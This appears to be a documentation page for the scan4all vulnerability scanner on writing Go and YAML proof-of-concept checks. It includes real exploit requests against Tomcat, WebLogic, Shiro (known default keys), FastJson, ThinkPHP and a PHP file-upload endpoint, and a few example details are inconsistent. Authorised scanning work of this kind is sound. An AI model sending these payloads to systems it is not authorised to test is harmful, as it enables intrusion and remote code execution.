Skip to main content

Overview

Scan4all supports two formats for creating custom POCs:
  1. Go POCs - Native Go code for complex vulnerability checks
  2. YAML POCs - Declarative YAML files based on xray v2 format
Both formats are automatically loaded and executed during scans when matching fingerprints are detected.

Go POC Development

Step 1: Add or Check Fingerprints

First, ensure the target technology has a fingerprint defined in pkg/fingerprint/localFingerData.go:
// Check if fingerprint exists for your target
// If not, add it to the fingerprint database

Step 2: Create POC Function

Create a new Go file in the pocs_go/ directory. Here’s the basic structure:
package your_module

import (
    "fmt"
    "github.com/GhostTroops/scan4all/pkg"
)

// POC function signature: takes URL string, returns bool
func CVE_XXXX_XXXXX(szUrl string) bool {
    // Perform HTTP request
    if req, err := pkg.HttpRequset(
        szUrl+"/vulnerable/path", 
        "GET", 
        "", 
        false, 
        nil,
    ); err == nil {
        // Check response for vulnerability indicators
        if req.StatusCode == 200 {
            // Log the finding
            pkg.POClog(fmt.Sprintf(
                "Found vuln CVE-XXXX-XXXXX|--\"%s/vulnerable/path\"\n", 
                szUrl,
            ))
            return true
        }
    }
    return false
}

Step 3: Register POC in Check Function

Add your POC to the switch statement in pocs_go/go_poc_check.go:41:
case "apache tomcat":
    if tomcat.CVE_2017_12615(URL) {
        technologies = append(technologies, "exp-Tomcat|CVE_2017_12615")
    }
    if tomcat.CVE_2020_1938(HOST) {
        technologies = append(technologies, "exp-Tomcat|CVE_2020_1938")
    }

Complete Example: Apache Tomcat CVE-2017-12615

Here’s a real example from the codebase:
package tomcat

import (
    "fmt"
    "github.com/GhostTroops/scan4all/pkg"
)

// CVE-2017-12615 - Tomcat PUT method RCE
func CVE_2017_12615(szUrl string) bool {
    // Try to upload a test file
    testPath := szUrl + "/vtset.txt"
    
    if req, err := pkg.HttpRequset(
        testPath,
        "PUT",
        "test",
        false,
        nil,
    ); err == nil {
        // Status codes 204 or 201 indicate successful upload
        if req.StatusCode == 204 || req.StatusCode == 201 {
            pkg.POClog(fmt.Sprintf(
                "Found vuln Tomcat CVE_2017_12615|--\"%s/vtest.txt\"\n",
                szUrl,
            ))
            return true
        }
    }
    return false
}

HttpRequset Function Parameters

The pkg.HttpRequset function is the main utility for HTTP requests:
func HttpRequset(
    url string,        // Target URL
    method string,     // HTTP method (GET, POST, PUT, etc.)
    postData string,   // Request body
    isRedirect bool,   // Follow redirects
    headers map[string]string, // Custom headers
) (*Response, error)

Advanced POC Examples

package weblogic

func CVE_2020_14882(URL string) bool {
    // Check for unauthenticated console access
    path := "/console/css/%252e%252e%252fconsole.portal"
    
    if req, err := pkg.HttpRequset(
        URL+path,
        "GET",
        "",
        false,
        nil,
    ); err == nil {
        if req.StatusCode == 200 && 
           strings.Contains(string(req.Body), "console") {
            pkg.POClog(fmt.Sprintf(
                "Found Weblogic CVE_2020_14882|--\"%s\"\n",
                URL,
            ))
            return true
        }
    }
    return false
}
package shiro

func CVE_2016_4437(finalURL string) string {
    // Try known Shiro encryption keys
    knownKeys := []string{
        "kPH+bIxk5D2deZiIxcaaaA==",
        "Z3VucwAAAAAAAAAAAAAAAA==",
        "4AvVhmFLUs0KTA3Kprsdag==",
    }
    
    for _, key := range knownKeys {
        if checkShiroKey(finalURL, key) {
            return key
        }
    }
    return ""
}

func checkShiroKey(url, key string) bool {
    // Implementation to check if key works
    // Returns true if key is valid
    return false // Simplified
}
package fastjson

func Check(URL, finalURL string) string {
    // FastJson RCE detection
    payload := `{"@type":"java.net.Inet4Address","val":"dnslog.cn"}`
    
    headers := map[string]string{
        "Content-Type": "application/json",
    }
    
    if req, err := pkg.HttpRequset(
        URL,
        "POST",
        payload,
        false,
        headers,
    ); err == nil {
        if req.StatusCode == 200 {
            // Check for RCE indicators
            return "FastJson-RCE"
        }
    }
    return ""
}

YAML POC Development

Step 1: Check Fingerprints

Ensure the fingerprint is defined in pkg/fingerprint/localFingerData.go.

Step 2: Create YAML POC File

Create a YAML file in pocs_yml/ymlFiles/ with the naming convention:
<fingerprint-name>-<cve-or-description>.yml
For example: thinkphp-cve-2018-20062-rce.yml

YAML POC Structure

YAML POCs follow the xray v2 format:
name: poc-yaml-thinkphp5-controller-rce
manual: true
transport: http
rules:
    r0:
        request:
            cache: true
            method: GET
            path: /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=printf&vars[1][]=teststring
        expression: response.body.bcontains(b"teststring")
expression: r0()
detail:
    links:
        - https://github.com/vulhub/vulhub/tree/master/thinkphp/5-rce

YAML POC Components

request:
    cache: true              # Cache the response
    method: GET              # HTTP method
    path: /vulnerable/path   # Request path
    headers:                 # Optional headers
        Content-Type: application/json
    body: |                  # Optional request body
        {"test": "data"}
expression: |
    response.status == 200 && 
    response.body.bcontains(b"vulnerable") &&
    response.headers["server"].contains("Apache")
Available expressions:
  • response.status - HTTP status code
  • response.body - Response body
  • response.headers - Response headers
  • .bcontains(b"string") - Binary contains
  • .contains("string") - String contains
rules:
    r0:
        request:
            method: GET
            path: /step1
        expression: response.status == 200
    r1:
        request:
            method: POST
            path: /step2
            body: "exploit"
        expression: response.body.bcontains(b"success")
expression: r0() && r1()

Example YAML POCs

Example 1: SQL Injection Detection

name: poc-yaml-sqli-detection
manual: true
transport: http
rules:
    r0:
        request:
            cache: true
            method: GET
            path: /page?id=1'
        expression: |
            response.status == 500 ||
            response.body.bcontains(b"SQL syntax") ||
            response.body.bcontains(b"mysql_fetch")
expression: r0()
detail:
    author: security-team
    links:
        - https://example.com/sqli-details

Example 2: Weblogic Console Detection

name: poc-yaml-weblogic-console-unauth
manual: true
transport: http
rules:
    r0:
        request:
            cache: true
            method: GET
            path: /console/login/LoginForm.jsp
        expression: |
            response.status == 200 &&
            response.body.bcontains(b"Oracle WebLogic Server")
expression: r0()
detail:
    severity: high
    links:
        - https://www.oracle.com/security-alerts/

Example 3: File Upload Vulnerability

name: poc-yaml-file-upload
manual: true
transport: http
rules:
    r0:
        request:
            cache: false
            method: POST
            path: /upload.php
            headers:
                Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
            body: |
                ------WebKitFormBoundary
                Content-Disposition: form-data; name="file"; filename="test.php"
                Content-Type: application/octet-stream
                
                <?php echo "test"; ?>
                ------WebKitFormBoundary--
        expression: |
            response.status == 200 &&
            response.body.bcontains(b"uploaded successfully")
expression: r0()
detail:
    severity: critical

POC Organization

Directory Structure

pocs_go/
├── go_poc_check.go          # Main POC dispatcher
├── apache/                  # Apache-related POCs
│   ├── tomcat.go
│   └── zookeeper.go
├── weblogic/               # Weblogic POCs
│   └── weblogic.go
├── Springboot/             # Spring Boot POCs
│   └── spring.go
└── ...

pocs_yml/
└── ymlFiles/
    ├── thinkphp-*.yml
    ├── weblogic-*.yml
    └── ...

Naming Conventions

Go POC Files

  • Use lowercase package names
  • Group by technology/vendor
  • Function names: CVE_YEAR_NUMBER

YAML POC Files

  • Format: <tech>-<vuln>-<type>.yml
  • Use lowercase with hyphens
  • Include CVE number if applicable

Testing Your POCs

Local Testing

# Test against a specific target
./scan4all -host http://vulnerable-target.com -v

# Test with specific fingerprint
FingerPrint="Apache Tomcat" ./scan4all -host http://target.com

Debug Mode

# Enable verbose logging
./scan4all -host http://target.com -v -debug

# Check POC loading
grep "POC" logs/scan4all.log

Best Practices

Security Considerations
  • Always test POCs in controlled environments
  • Never use destructive payloads by default
  • Include cleanup code if resources are created
  • Respect rate limits and target systems
POC Development Tips
  • Start with simple detection before exploitation
  • Use unique strings in payloads for reliable detection
  • Handle errors gracefully
  • Add detailed logging for debugging
  • Document the vulnerability and prerequisites

Contributing POCs

See the Contributing Guide for information on submitting your POCs to the project.

Next Steps

API Integration

Learn how to integrate scan4all into your applications

Contributing

Contribute your POCs and modules to scan4all

Build docs developers (and LLMs) love